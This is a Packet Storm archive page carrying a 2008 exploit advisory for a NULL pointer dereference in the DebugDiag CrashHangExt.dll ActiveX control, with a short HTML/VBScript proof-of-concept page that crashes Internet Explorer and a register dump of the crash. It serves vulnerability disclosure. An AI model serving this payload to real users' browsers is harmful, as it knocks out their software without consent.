what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

debugdiag-null.txt

debugdiag-null.txt
Posted Oct 30, 2008
Authored by suN8Hclf | Site dark-coders.pl

DebugDiag suffers from a NULL pointer dereference in CrashHangExt.dll version 1.0.

tags | exploit
SHA-256 | 609ea972e4e2705ad7d6fb9c51bfaa6081014f68f5d1a7574e754d78f55e616a

debugdiag-null.txt

Change Mirror Download
Name      : DebugDiag (CrashHangExt.dll 1.0) NULL Pointer Dereference
Credit : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
Download : http://www.microsoft.com/downloads/details.aspx?FamilyID=28bd5941-c458-46f1-b24d-f60151d875a3&displaylang=en#Overview
Greetz : Luigi Auriemma, Louis Carriere, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, Myo
Katharsis, all fron #dark-coders

=+ Product of Fuzzing +=

This code should crash down Internet Explorer
Tested on:
+ Windows XP SP2 (full patched) & IE 6.0 (full patched)
+ Windows 2000 SP 4 (full patched) & IE 6.0 (full patched)

Marked as:
================================================
Class Utils
GUID: {7233D6F8-AD31-440F-BAF0-9E7A292A53DA}
Number of Interfaces: 1
Default Interface: IUtils

RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False
================================================


Exploit:
~~~~~~~~~~~~~~~~~~~~~~

-----------------------code.htm--------------------------
<body>
<object classid='clsid:7233D6F8-AD31-440F-BAF0-9E7A292A53DA' id='target' />
</object>
<script language='vbscript'>
arg1=-2147483647

target.GetEntryPointForThread arg1
</script>
</body>
-----------------------code.htm--------------------------


Info
~~~~~~~~~~~~~~~~~~~~~~
EAX 00000000
ECX 0012DDDC
EDX 001E98EA
EBX 02C318E8 CrashHan.02C318E8
ESP 0012DD88
EBP 0012DE04
ESI 023F1FE0
EDI 00000000
EIP 02C38290 CrashHan.02C38290

IE crashes while trying to execute this line (Null pointer dereference):
02C38290 8B08 MOV ECX,DWORD PTR DS:[EAX]


//www.dark-coders.pl
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close